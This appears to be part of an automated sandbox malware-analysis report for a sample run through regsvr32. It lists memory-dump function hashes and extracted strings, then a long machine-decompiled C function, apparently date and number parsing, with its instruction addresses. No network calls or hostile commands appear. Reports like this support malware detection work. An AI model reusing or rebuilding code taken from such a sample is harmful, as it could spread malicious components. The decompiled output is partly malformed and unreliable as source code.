Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GK$M/uB$Q|-$~~K$Bt$
API String ID: 0-557373213
Opcode ID: 5399f6d2f4ddd76430553fcbb3a69801bb23c4fdd32863c07da465c7968e24a8
Instruction ID: 7d3973d356c39b1b222117462c3ecb4b317f1346402f78dfed34eae932926725
Opcode Fuzzy Hash: 5399f6d2f4ddd76430553fcbb3a69801bb23c4fdd32863c07da465c7968e24a8
Instruction Fuzzy Hash: 3DE1047550160CCBDFA8DF38C0996D93BE1FF58308F615229FC669A2A2DB74D918CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008378 Relevance: 6.5, Strings: 5, Instructions: 238COMMON

Download Yara Rule

Strings

.I, xrefs: 0000000180008439
gBfh, xrefs: 00000001800083D0
i[, xrefs: 000000018000867B
w|, xrefs: 0000000180008634
{, xrefs: 0000000180008649

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .I$gBfh$i[$w|${
API String ID: 0-448909954
Opcode ID: fd252399347da21463b78aeaa0d34fc6630a10d5928b5024a52fe33a2729c415
Instruction ID: d0a83482893498c27194f59a32fdbaca65ccdd6f1cf6111b2d351ac56e0bec04
Opcode Fuzzy Hash: fd252399347da21463b78aeaa0d34fc6630a10d5928b5024a52fe33a2729c415
Instruction Fuzzy Hash: 79B13670D207499FDB88DFA8D8899DDBBF0FB48304F40921DE816AB290C778A945CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001610C Relevance: 6.5, Strings: 5, Instructions: 208COMMON

Download Yara Rule

Strings

cp, xrefs: 000000018001627B
x, xrefs: 00000001800163D0
Kn#, xrefs: 00000001800161C9
zu, xrefs: 00000001800161F7
vm, xrefs: 000000018001634F

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: cp$vm$x$zu$Kn#
API String ID: 0-3521309225
Opcode ID: 854233274bfaeff89ac29a935d156dc1944753dcbd55c44e864b2476cdfcfe8d
Instruction ID: 21bf20e0e09b097afe8f62739711b0614700edebc24f77043414959abb09f16a
Opcode Fuzzy Hash: 854233274bfaeff89ac29a935d156dc1944753dcbd55c44e864b2476cdfcfe8d
Instruction Fuzzy Hash: 14A136B0D147198FEB88CFA8D8896DEBBF0FB48354F108119E855B72A0D7789A48CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017518 Relevance: 6.3, Strings: 5, Instructions: 87COMMON

Download Yara Rule

Strings

#0FQ, xrefs: 00000001800175F5
lXjD, xrefs: 0000000180017598
tS, xrefs: 0000000180017639
C;, xrefs: 00000001800175B8
0T, xrefs: 00000001800175D1

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #0FQ$0T$C;$lXjD$tS
API String ID: 0-817034907
Opcode ID: e4bf78acd7a5f6a30f384b9d32d43fdeffbe4641104b903a1cc162fefd21facd
Instruction ID: b977aeba25b2f354a74327c660273579a96420851a391c2bd7594821f6efe27e
Opcode Fuzzy Hash: e4bf78acd7a5f6a30f384b9d32d43fdeffbe4641104b903a1cc162fefd21facd
Instruction Fuzzy Hash: B041B2B180434E8FDB44DF64C88A4CE7FF0FB68398F215619E859A6250D3B89694CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000975C Relevance: 6.3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

Strings

D-, xrefs: 000000018000984C
3T, xrefs: 0000000180009861
l, xrefs: 00000001800097B1
,, xrefs: 00000001800097CB
Rc, xrefs: 0000000180009782

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,$3T$D-$Rc$l
API String ID: 0-617906138
Opcode ID: 3a3cf95294224deb7faeda9f3e638283c88744c906ce2ff68bf076d4943cea68
Instruction ID: 9f282cba76811ad8d62c84ef0c7e621c4b48fde4e93fa2bf7eb17b7b5798bf3c
Opcode Fuzzy Hash: 3a3cf95294224deb7faeda9f3e638283c88744c906ce2ff68bf076d4943cea68
Instruction Fuzzy Hash: 0941D5B081078E8FDB44CF64D88A5DE7BF0FB58358F104619E869A6260D3B89668CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0042E190 Relevance: 5.5, Strings: 4, Instructions: 471
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0042E190(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esp, void* __rbx, void* __rcx, intOrPtr* __rdx, void* __rdi, intOrPtr* __r8, void* __r11, void* __r14) {
				void* __rsi;
				char _t99;
				void* _t100;
				char _t101;
				signed int _t104;
				signed int _t105;
				char _t106;
				signed int _t107;
				signed int _t108;
				signed int _t109;
				void* _t110;
				char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				void* _t115;
				char _t116;
				void* _t117;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				void* _t121;
				signed int _t122;
				signed int _t123;
				signed int _t132;
				void* _t139;
				void* _t143;
				signed int _t144;
				signed int _t145;
				signed int _t146;
				void* _t147;
				intOrPtr _t149;
				signed int _t150;
				signed int _t152;
				signed int _t154;
				void* _t156;
				long long _t160;
				signed char* _t165;
				signed char* _t168;
				signed char* _t171;
				signed char* _t176;
				signed char* _t181;
				void* _t185;
				intOrPtr* _t186;
				intOrPtr* _t189;
				intOrPtr* _t190;
				intOrPtr* _t192;
				intOrPtr* _t193;
				intOrPtr* _t195;
				intOrPtr* _t196;
				intOrPtr* _t199;
				intOrPtr* _t200;
				intOrPtr* _t202;
				intOrPtr* _t203;
				intOrPtr* _t204;
				intOrPtr* _t205;
				intOrPtr* _t206;
				intOrPtr* _t207;
				intOrPtr* _t209;
				signed int _t213;
				signed int _t218;
				signed int _t223;
				void* _t228;
				signed int* _t230;
				signed int* _t231;
				signed int* _t232;
				void* _t234;
				void* _t237;
				void* _t238;
				void* _t239;
				void* _t240;
				intOrPtr* _t244;
				void* _t245;
				void* _t246;
				intOrPtr* _t248;
				char* _t251;
				void* _t254;
				signed int* _t255;
				intOrPtr* _t258;
				void* _t259;

				_t254 = __r14;
				_t246 = __r11;
				_t244 = __r8;
				_t228 = __rdi;
				_t209 = __rdx;
				_t188 = __rcx;
				_t185 = __rbx;
				_t156 = __esp;
				_t143 = __edi;
				_t139 = __edx;
				_t121 = __ebx;
				_t240 = _t239 - 0x28;
				_t237 = _t240 + 0x20;
				_t234 = __rcx;
				_t160 =  *((intOrPtr*)(__r8 + 0x20));
				 *((long long*)(__rcx + 0x2c)) = _t160;
				E00432700();
				if(_t160 == 0) {
					L4:
					L00430C30(_t121, _t139, _t143, _t156, __eflags, _t160, _t185, _t188, _t209, _t228, _t234, _t245, _t246, _t254);
					asm("ud2");
					0;
					0;
					0;
					_push(_t237);
					_push(_t254);
					_push(_t234);
					_push(_t228);
					_push(_t185);
					_t238 = _t240 - 0x58 + 0x50;
					 *((intOrPtr*)(_t238 + 4)) = r9d;
					_t248 = _t244;
					_t186 = _t209;
					_t189 =  *_t186;
					_t147 = 0;
					__eflags = _t189;
					_t144 = 0;
					if(_t189 != 0) {
						_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t189 + 0x38))));
						__eflags = _t162;
						if(_t162 == 0) {
							L8:
							_t162 =  *_t189;
							_t120 =  *((intOrPtr*)( *_t189 + 0x38))();
						} else {
							__eflags =  *( *(_t189 + 0x50));
							if( *( *(_t189 + 0x50)) <= 0) {
								goto L8;
							} else {
								_t120 =  *_t162 & 0x000000ff;
							}
						}
						_t144 = 0;
						__eflags = _t120 - 0xffffffff;
						dil = _t120 != 0xffffffff;
						__eflags = dil;
					}
					_t190 =  *_t248;
					__eflags = _t190;
					if(_t190 != 0) {
						_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t190 + 0x38))));
						__eflags = _t162;
						if(_t162 == 0) {
							L14:
							_t162 =  *_t190;
							_t119 =  *((intOrPtr*)( *_t190 + 0x38))();
						} else {
							__eflags =  *( *(_t190 + 0x50));
							if( *( *(_t190 + 0x50)) <= 0) {
								goto L14;
							} else {
								_t119 =  *_t162 & 0x000000ff;
							}
						}
						_t147 = 0;
						__eflags = _t119 - 0xffffffff;
						sil = _t119 != 0xffffffff;
						__eflags = sil;
					}
					_t258 =  *((intOrPtr*)(_t238 + 0x80));
					__eflags = _t144 - _t147;
					if(_t144 != _t147) {
						__eflags =  *((char*)(_t186 + 8));
						if( *((char*)(_t186 + 8)) == 0) {
							_t207 =  *_t186;
							__eflags = _t207;
							if(_t207 == 0) {
								L25:
								 *_t186 = 0;
							} else {
								_t181 =  *((intOrPtr*)( *((intOrPtr*)(_t207 + 0x38))));
								__eflags = _t181;
								if(_t181 == 0) {
									L23:
									_t118 =  *((intOrPtr*)( *_t207 + 0x38))();
									__eflags = _t118 - 0xffffffff;
									if(_t118 == 0xffffffff) {
										goto L25;
									} else {
										goto L24;
									}
								} else {
									__eflags =  *( *(_t207 + 0x50));
									if( *( *(_t207 + 0x50)) <= 0) {
										goto L23;
									} else {
										_t118 =  *_t181 & 0x000000ff;
										L24:
										 *(_t186 + 9) = _t118;
									}
								}
							}
							 *((char*)(_t186 + 8)) = 1;
						}
						_t255 = _t186 + 9;
						r8d = 0;
						_t99 =  *((intOrPtr*)( *_t258 + 0x50))();
						__eflags = (_t99 + 0x00000002 | 0x00000002) - 0x2f;
						if((_t99 + 0x00000002 | 0x00000002) != 0x2f) {
							_t251 = _t238 - 0x30;
						} else {
							 *((char*)(_t238 - 0x30)) = _t99;
							_t206 =  *_t186;
							__eflags = _t206;
							if(_t206 == 0) {
								L35:
								 *_t186 = 0;
								_t116 = 1;
							} else {
								_t162 =  *((intOrPtr*)(_t206 + 0x38));
								_t223 =  *_t162;
								__eflags = _t223;
								if(_t223 == 0) {
									L33:
									_t162 =  *_t206;
									_t117 =  *((intOrPtr*)( *_t206 + 0x40))();
									__eflags = _t117 - 0xffffffff;
									if(_t117 == 0xffffffff) {
										goto L35;
									} else {
										_t116 = 0;
									}
								} else {
									_t232 =  *((intOrPtr*)(_t206 + 0x50));
									_t154 =  *_t232;
									__eflags = _t154;
									if(_t154 <= 0) {
										goto L33;
									} else {
										 *_t232 = _t154 - 1;
										 *_t162 = _t223 + 1;
										_t116 = 0;
									}
								}
							}
							_t251 = _t238 - 0x2f;
							 *((char*)(_t186 + 8)) = _t116;
						}
					} else {
						_t251 = _t238 - 0x30;
						_t255 = _t186 + 9;
					}
					while(1) {
						_t192 =  *_t186;
						__eflags = _t192;
						_t145 = 0;
						if(_t192 == 0) {
							goto L45;
						}
						_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t192 + 0x38))));
						__eflags = _t162;
						if(_t162 == 0) {
							L43:
							_t162 =  *_t192;
							_t114 =  *((intOrPtr*)( *_t192 + 0x38))();
						} else {
							__eflags =  *( *(_t192 + 0x50));
							if( *( *(_t192 + 0x50)) <= 0) {
								goto L43;
							} else {
								_t114 =  *_t162 & 0x000000ff;
							}
						}
						_t145 = 0;
						__eflags = _t114 - 0xffffffff;
						dil = _t114 != 0xffffffff;
						__eflags = dil;
						L45:
						_t193 =  *_t248;
						__eflags = _t193;
						if(_t193 == 0) {
							__eflags = _t145;
							if(_t145 != 0) {
								goto L51;
							} else {
							}
						} else {
							_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t193 + 0x38))));
							__eflags = _t162;
							if(_t162 == 0) {
								L49:
								_t162 =  *_t193;
								_t113 =  *((intOrPtr*)( *_t193 + 0x38))();
							} else {
								__eflags =  *( *(_t193 + 0x50));
								if( *( *(_t193 + 0x50)) <= 0) {
									goto L49;
								} else {
									_t113 =  *_t162 & 0x000000ff;
								}
							}
							_t113 - 0xffffffff = _t145 - (_t113 != 0xffffffff);
							if(_t145 != _t113 != 0xffffffff) {
								L51:
								__eflags =  *((char*)(_t186 + 8));
								if( *((char*)(_t186 + 8)) == 0) {
									_t205 =  *_t186;
									__eflags = _t205;
									if(_t205 == 0) {
										L60:
										 *_t186 = 0;
									} else {
										_t176 =  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0x38))));
										__eflags = _t176;
										if(_t176 == 0) {
											L58:
											_t112 =  *((intOrPtr*)( *_t205 + 0x38))();
											__eflags = _t112 - 0xffffffff;
											if(_t112 == 0xffffffff) {
												goto L60;
											} else {
												goto L59;
											}
										} else {
											__eflags =  *( *(_t205 + 0x50));
											if( *( *(_t205 + 0x50)) <= 0) {
												goto L58;
											} else {
												_t112 =  *_t176 & 0x000000ff;
												L59:
												 *_t255 = _t112;
											}
										}
									}
									 *((char*)(_t186 + 8)) = 1;
								}
								_t162 =  *_t258;
								r8d = 0;
								_t100 =  *((intOrPtr*)( *_t258 + 0x50))();
								__eflags = _t100 - 0x30;
								if(_t100 == 0x30) {
									_t204 =  *_t186;
									__eflags = _t204;
									if(_t204 == 0) {
										L69:
										 *_t186 = 0;
										_t111 = 1;
										goto L38;
									} else {
										_t162 =  *((intOrPtr*)(_t204 + 0x38));
										_t218 =  *_t162;
										__eflags = _t218;
										if(_t218 == 0) {
											L67:
											_t162 =  *_t204;
											_t115 =  *((intOrPtr*)( *_t204 + 0x40))();
											__eflags = _t115 - 0xffffffff;
											if(_t115 == 0xffffffff) {
												goto L69;
											} else {
												_t111 = 0;
												goto L38;
											}
										} else {
											_t231 =  *((intOrPtr*)(_t204 + 0x50));
											_t152 =  *_t231;
											__eflags = _t152;
											if(_t152 <= 0) {
												goto L67;
											} else {
												 *_t231 = _t152 - 1;
												 *_t162 = _t218 + 1;
												_t111 = 0;
												L38:
												 *((char*)(_t186 + 8)) = _t111;
												sil = 1;
												continue;
											}
											while(1) {
												L73:
												_t195 =  *_t186;
												__eflags = _t195;
												_t146 = 0;
												if(_t195 == 0) {
													goto L79;
												}
												_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t195 + 0x38))));
												__eflags = _t162;
												if(_t162 == 0) {
													L77:
													_t162 =  *_t195;
													_t109 =  *((intOrPtr*)( *_t195 + 0x38))();
												} else {
													__eflags =  *( *(_t195 + 0x50));
													if( *( *(_t195 + 0x50)) <= 0) {
														goto L77;
													} else {
														_t109 =  *_t162 & 0x000000ff;
													}
												}
												_t146 = 0;
												__eflags = _t109 - 0xffffffff;
												dil = _t109 != 0xffffffff;
												__eflags = dil;
												L79:
												_t196 =  *_t248;
												__eflags = _t196;
												if(_t196 == 0) {
													_t130 = 0;
													__eflags = _t146;
													if(_t146 != 0) {
														goto L85;
													} else {
													}
												} else {
													_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x38))));
													__eflags = _t162;
													if(_t162 == 0) {
														L83:
														_t162 =  *_t196;
														_t108 =  *((intOrPtr*)( *_t196 + 0x38))();
													} else {
														__eflags =  *( *(_t196 + 0x50));
														if( *( *(_t196 + 0x50)) <= 0) {
															goto L83;
														} else {
															_t108 =  *_t162 & 0x000000ff;
														}
													}
													__eflags = _t108 - 0xffffffff;
													_t130 = 0 | __eflags != 0x00000000;
													if(__eflags != 0) {
														L85:
														__eflags =  *((char*)(_t186 + 8));
														if( *((char*)(_t186 + 8)) == 0) {
															_t203 =  *_t186;
															__eflags = _t203;
															if(_t203 == 0) {
																L94:
																 *_t186 = 0;
															} else {
																_t171 =  *((intOrPtr*)( *((intOrPtr*)(_t203 + 0x38))));
																__eflags = _t171;
																if(_t171 == 0) {
																	L92:
																	_t107 =  *((intOrPtr*)( *_t203 + 0x38))();
																	__eflags = _t107 - 0xffffffff;
																	if(_t107 == 0xffffffff) {
																		goto L94;
																	} else {
																		goto L93;
																	}
																} else {
																	__eflags =  *( *(_t203 + 0x50));
																	if( *( *(_t203 + 0x50)) <= 0) {
																		goto L92;
																	} else {
																		_t107 =  *_t171 & 0x000000ff;
																		L93:
																		 *_t255 = _t107;
																	}
																}
															}
															 *((char*)(_t186 + 8)) = 1;
														}
														_t162 =  *_t258;
														r8d = 0;
														_t101 =  *((intOrPtr*)( *_t258 + 0x50))();
														_t130 = _t101 + 0xd0;
														__eflags = _t101 + 0xd0 - 0xa;
														if(_t101 + 0xd0 < 0xa) {
															 *_t251 = _t101;
															_t162 = _t251 + 1;
															__eflags = _t251 - _t238 - 0x11;
															_t251 =  <  ? _t251 + 1 : _t251;
															_t202 =  *_t186;
															__eflags = _t202;
															if(_t202 == 0) {
																L103:
																 *_t186 = 0;
																_t106 = 1;
																goto L72;
															} else {
																_t162 =  *((intOrPtr*)(_t202 + 0x38));
																_t213 =  *_t162;
																__eflags = _t213;
																if(_t213 == 0) {
																	L101:
																	_t162 =  *_t202;
																	_t110 =  *((intOrPtr*)( *_t202 + 0x40))();
																	__eflags = _t110 - 0xffffffff;
																	if(_t110 == 0xffffffff) {
																		goto L103;
																	} else {
																		_t106 = 0;
																		goto L72;
																	}
																} else {
																	_t230 =  *((intOrPtr*)(_t202 + 0x50));
																	_t150 =  *_t230;
																	__eflags = _t150;
																	if(_t150 <= 0) {
																		goto L101;
																	} else {
																		 *_t230 = _t150 - 1;
																		 *_t162 = _t213 + 1;
																		_t106 = 0;
																		L72:
																		 *((char*)(_t186 + 8)) = _t106;
																		sil = 1;
																		continue;
																	}
																}
															}
															L111:
															_t200 =  *_t248;
															__eflags = _t200;
															if(_t200 == 0) {
																_t132 = 0;
																__eflags = 0;
															} else {
																_t165 =  *((intOrPtr*)( *((intOrPtr*)(_t200 + 0x38))));
																__eflags = _t165;
																if(_t165 == 0) {
																	L115:
																	_t104 =  *((intOrPtr*)( *_t200 + 0x38))();
																} else {
																	__eflags =  *( *(_t200 + 0x50));
																	if( *( *(_t200 + 0x50)) <= 0) {
																		goto L115;
																	} else {
																		_t104 =  *_t165 & 0x000000ff;
																	}
																}
																__eflags = _t104 - 0xffffffff;
																_t132 = 0 | _t104 != 0xffffffff;
															}
															_t123 = _t122 ^ _t132;
															__eflags = _t149 -  *((intOrPtr*)(_t238 + 0x70));
															if(_t149 >  *((intOrPtr*)(_t238 + 0x70))) {
																L122:
																_t123 = _t123 | 0x00000002;
																__eflags = _t123;
															} else {
																__eflags = _t149 -  *((intOrPtr*)(_t238 + 4));
																if(_t149 <  *((intOrPtr*)(_t238 + 4))) {
																	goto L122;
																} else {
																	__eflags =  *((intOrPtr*)(_t238 - 8)) - _t259;
																	if( *((intOrPtr*)(_t238 - 8)) == _t259) {
																		goto L122;
																	} else {
																		 *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x78)))) = _t149;
																	}
																}
															}
															return _t123;
															goto L124;
														}
													}
												}
												__eflags = sil & 0x00000001;
												_t259 = _t238 - 0x30;
												_t252 =  ==  ? _t259 : _t251;
												 *((char*)( ==  ? _t259 : _t251)) = 0;
												r8d = 0xa;
												_t149 = E00445410(_t130, sil & 0x00000001, _t162, _t259, _t238 - 8, _t245);
												_t199 =  *_t186;
												__eflags = _t199;
												if(_t199 == 0) {
													_t122 = 1;
												} else {
													_t168 =  *((intOrPtr*)( *((intOrPtr*)(_t199 + 0x38))));
													__eflags = _t168;
													if(_t168 == 0) {
														L108:
														_t105 =  *((intOrPtr*)( *_t199 + 0x38))();
													} else {
														__eflags =  *( *(_t199 + 0x50));
														if( *( *(_t199 + 0x50)) <= 0) {
															goto L108;
														} else {
															_t105 =  *_t168 & 0x000000ff;
														}
													}
													__eflags = _t105 - 0xffffffff;
													_t122 = 0 | _t105 == 0xffffffff;
												}
												goto L111;
											}
										}
									}
									goto L73;
								}
							}
						}
						__eflags = sil;
						if(sil != 0) {
							 *_t251 = 0x30;
							_t251 = _t251 + 1;
						}
						goto L73;
					}
				} else {
					asm("movaps xmm0, [0x20d50]");
					asm("movups [eax], xmm0");
					asm("movaps xmm0, [0x20d56]");
					asm("movups [eax+0x10], xmm0");
					asm("movaps xmm0, [0x20d5b]");
					asm("movups [eax+0x20], xmm0");
					asm("movaps xmm0, [0x20d60]");
					asm("movups [eax+0x30], xmm0");
					asm("movaps xmm0, [0x20d65]");
					asm("movups [eax+0x40], xmm0");
					 *((intOrPtr*)(_t160 + 0x50)) = 0x61647275;
					 *((short*)(_t160 + 0x54)) = 0x79;
					 *((long long*)(__rcx + 0x10)) = _t160;
					E00432700();
					if(_t160 == 0) {
						goto L4;
					} else {
						asm("movaps xmm0, [0x20d46]");
						asm("movups [eax], xmm0");
						asm("movaps xmm0, [0x20d4c]");
						asm("movups [eax+0x10], xmm0");
						asm("movaps xmm0, [0x20d51]");
						asm("movups [eax+0x20], xmm0");
						asm("movaps xmm0, [0x20d56]");
						asm("movups [eax+0x30], xmm0");
						asm("movaps xmm0, [0x20d5b]");
						asm("movups [eax+0x40], xmm0");
						asm("movaps xmm0, [0x20d60]");
						asm("movups [eax+0x50], xmm0");
						asm("movaps xmm0, [0x20d65]");
						asm("movups [eax+0x60], xmm0");
						asm("movaps xmm0, [0x20d6a]");
						asm("movups [eax+0x70], xmm0");
						 *((intOrPtr*)(_t160 + 0x80)) = 0x626d6563;
						 *((short*)(_t160 + 0x84)) = 0x7265;
						 *((char*)(_t160 + 0x86)) = 0;
						 *((long long*)(__rcx + 0x18)) = _t160;
						E00432700();
						if(_t160 == 0) {
							goto L4;
						} else {
							 *_t160 = 0x3a4d413a;
							 *((intOrPtr*)(_t160 + 8)) = 0x6d703a4d;
							 *((char*)(_t160 + 0xc)) = 0;
							 *((long long*)(__rcx + 0x20)) = _t160;
							return __eax;
						}
					}
				}
				L124:
			}

0x0042e190
0x0042e190
0x0042e190
0x0042e190
0x0042e190
0x0042e190
0x0042e190
0x0042e190
0x0042e190
0x0042e190
0x0042e190
0x0042e192
0x0042e196
0x0042e19b
0x0042e19e
0x0042e1a2
0x0042e1ab
0x0042e1b3
0x0042e2ba
0x0042e2ba
0x0042e2bf
0x0042e2c7
0x0042e2cb
0x0042e2cf
0x0042e2d0
0x0042e2d3
0x0042e2d9
0x0042e2da
0x0042e2db
0x0042e2e0
0x0042e2e5
0x0042e2e9
0x0042e2ec
0x0042e2ef
0x0042e2f2
0x0042e2f4
0x0042e2f7
0x0042e2fc
0x0042e302
0x0042e305
0x0042e308
0x0042e318
0x0042e318
0x0042e31b
0x0042e30a
0x0042e30e
0x0042e311
0x00000000
0x0042e313
0x0042e313
0x0042e313
0x0042e311
0x0042e31e
0x0042e320
0x0042e323
0x0042e323
0x0042e323
0x0042e327
0x0042e32b
0x0042e32e
0x0042e334
0x0042e337
0x0042e33a
0x0042e34a
0x0042e34a
0x0042e34d
0x0042e33c
0x0042e340
0x0042e343
0x00000000
0x0042e345
0x0042e345
0x0042e345
0x0042e343
0x0042e350
0x0042e352
0x0042e355
0x0042e355
0x0042e355
0x0042e359
0x0042e360
0x0042e362
0x0042e371
0x0042e375
0x0042e377
0x0042e37a
0x0042e37d
0x0042e3a9
0x0042e3a9
0x0042e37f
0x0042e383
0x0042e386
0x0042e389
0x0042e399
0x0042e39c
0x0042e39f
0x0042e3a2
0x00000000
0x00000000
0x00000000
0x00000000
0x0042e38b
0x0042e38f
0x0042e392
0x00000000
0x0042e394
0x0042e394
0x0042e3a4
0x0042e3a4
0x0042e3a4
0x0042e392
0x0042e389
0x0042e3b0
0x0042e3b0
0x0042e3b4
0x0042e3bf
0x0042e3c5
0x0042e3d1
0x0042e3d4
0x0042e405
0x0042e3d6
0x0042e3d6
0x0042e3d9
0x0042e3dc
0x0042e3df
0x0042e41a
0x0042e41a
0x0042e421
0x0042e3e1
0x0042e3e1
0x0042e3e5
0x0042e3e8
0x0042e3eb
0x0042e40b
0x0042e40b
0x0042e40e
0x0042e411
0x0042e414
0x00000000
0x0042e416
0x0042e416
0x0042e416
0x0042e3ed
0x0042e3ed
0x0042e3f1
0x0042e3f3
0x0042e3f5
0x00000000
0x0042e3f7
0x0042e3f9
0x0042e3fe
0x0042e401
0x0042e401
0x0042e3f5
0x0042e3eb
0x0042e423
0x0042e427
0x0042e427
0x0042e364
0x0042e364
0x0042e368
0x0042e368
0x0042e436
0x0042e436
0x0042e439
0x0042e43c
0x0042e441
0x00000000
0x00000000
0x0042e447
0x0042e44a
0x0042e44d
0x0042e460
0x0042e460
0x0042e463
0x0042e44f
0x0042e453
0x0042e456
0x00000000
0x0042e458
0x0042e458
0x0042e458
0x0042e456
0x0042e466
0x0042e468
0x0042e46b
0x0042e46b
0x0042e46f
0x0042e46f
0x0042e473
0x0042e476
0x0042e4e2
0x0042e4e4
0x00000000
0x00000000
0x0042e4e6
0x0042e478
0x0042e47c
0x0042e47f
0x0042e482
0x0042e4a0
0x0042e4a0
0x0042e4a3
0x0042e484
0x0042e488
0x0042e48b
0x00000000
0x0042e48d
0x0042e48d
0x0042e48d
0x0042e48b
0x0042e4ae
0x0042e4b0
0x0042e4b6
0x0042e4b6
0x0042e4ba
0x0042e4bc
0x0042e4bf
0x0042e4c2
0x0042e4fb
0x0042e4fb
0x0042e4c4
0x0042e4c8
0x0042e4cb
0x0042e4ce
0x0042e4eb
0x0042e4ee
0x0042e4f1
0x0042e4f4
0x00000000
0x00000000
0x00000000
0x00000000
0x0042e4d0
0x0042e4d4
0x0042e4d7
0x00000000
0x0042e4d9
0x0042e4d9
0x0042e4f6
0x0042e4f6
0x0042e4f6
0x0042e4d7
0x0042e4ce
0x0042e502
0x0042e502
0x0042e506
0x0042e50d
0x0042e513
0x0042e516
0x0042e518
0x0042e51a
0x0042e51d
0x0042e520
0x0042e570
0x0042e570
0x0042e577
0x00000000
0x0042e522
0x0042e522
0x0042e526
0x0042e529
0x0042e52c
0x0042e550
0x0042e550
0x0042e553
0x0042e556
0x0042e559
0x00000000
0x0042e55b
0x0042e55b
0x00000000
0x0042e55b
0x0042e52e
0x0042e52e
0x0042e532
0x0042e534
0x0042e536
0x00000000
0x0042e538
0x0042e53a
0x0042e53f
0x0042e542
0x0042e430
0x0042e430
0x0042e433
0x00000000
0x0042e433
0x0042e596
0x0042e596
0x0042e596
0x0042e599
0x0042e59c
0x0042e5a1
0x00000000
0x00000000
0x0042e5a7
0x0042e5aa
0x0042e5ad
0x0042e5c0
0x0042e5c0
0x0042e5c3
0x0042e5af
0x0042e5b3
0x0042e5b6
0x00000000
0x0042e5b8
0x0042e5b8
0x0042e5b8
0x0042e5b6
0x0042e5c6
0x0042e5c8
0x0042e5cb
0x0042e5cb
0x0042e5cf
0x0042e5cf
0x0042e5d3
0x0042e5d6
0x0042e640
0x0042e642
0x0042e644
0x00000000
0x00000000
0x0042e646
0x0042e5d8
0x0042e5dc
0x0042e5df
0x0042e5e2
0x0042e600
0x0042e600
0x0042e603
0x0042e5e4
0x0042e5e8
0x0042e5eb
0x00000000
0x0042e5ed
0x0042e5ed
0x0042e5ed
0x0042e5eb
0x0042e608
0x0042e60b
0x0042e610
0x0042e616
0x0042e616
0x0042e61a
0x0042e61c
0x0042e61f
0x0042e622
0x0042e65b
0x0042e65b
0x0042e624
0x0042e628
0x0042e62b
0x0042e62e
0x0042e64b
0x0042e64e
0x0042e651
0x0042e654
0x00000000
0x00000000
0x00000000
0x00000000
0x0042e630
0x0042e634
0x0042e637
0x00000000
0x0042e639
0x0042e639
0x0042e656
0x0042e656
0x0042e656
0x0042e637
0x0042e62e
0x0042e662
0x0042e662
0x0042e666
0x0042e66d
0x0042e673
0x0042e678
0x0042e67b
0x0042e67e
0x0042e680
0x0042e684
0x0042e68c
0x0042e68f
0x0042e693
0x0042e696
0x0042e699
0x0042e6f0
0x0042e6f0
0x0042e6f7
0x00000000
0x0042e69b
0x0042e69b
0x0042e69f
0x0042e6a2
0x0042e6a5
0x0042e6d0
0x0042e6d0
0x0042e6d3
0x0042e6d6
0x0042e6d9
0x00000000
0x0042e6db
0x0042e6db
0x00000000
0x0042e6db
0x0042e6a7
0x0042e6a7
0x0042e6ab
0x0042e6ad
0x0042e6af
0x00000000
0x0042e6b1
0x0042e6b3
0x0042e6b8
0x0042e6bb
0x0042e590
0x0042e590
0x0042e593
0x00000000
0x0042e593
0x0042e6af
0x0042e6a5
0x0042e75a
0x0042e75a
0x0042e75e
0x0042e761
0x0042e78d
0x0042e78d
0x0042e763
0x0042e767
0x0042e76a
0x0042e76d
0x0042e77d
0x0042e780
0x0042e76f
0x0042e773
0x0042e776
0x00000000
0x0042e778
0x0042e778
0x0042e778
0x0042e776
0x0042e785
0x0042e788
0x0042e788
0x0042e78f
0x0042e791
0x0042e794
0x0042e7a9
0x0042e7a9
0x0042e7a9
0x0042e796
0x0042e796
0x0042e799
0x00000000
0x0042e79b
0x0042e79b
0x0042e79f
0x00000000
0x0042e7a1
0x0042e7a5
0x0042e7a5
0x0042e79f
0x0042e799
0x0042e7be
0x00000000
0x0042e7be
0x0042e67e
0x0042e610
0x0042e6fe
0x0042e702
0x0042e706
0x0042e70a
0x0042e713
0x0042e721
0x0042e723
0x0042e726
0x0042e729
0x0042e755
0x0042e72b
0x0042e72f
0x0042e732
0x0042e735
0x0042e745
0x0042e748
0x0042e737
0x0042e73b
0x0042e73e
0x00000000
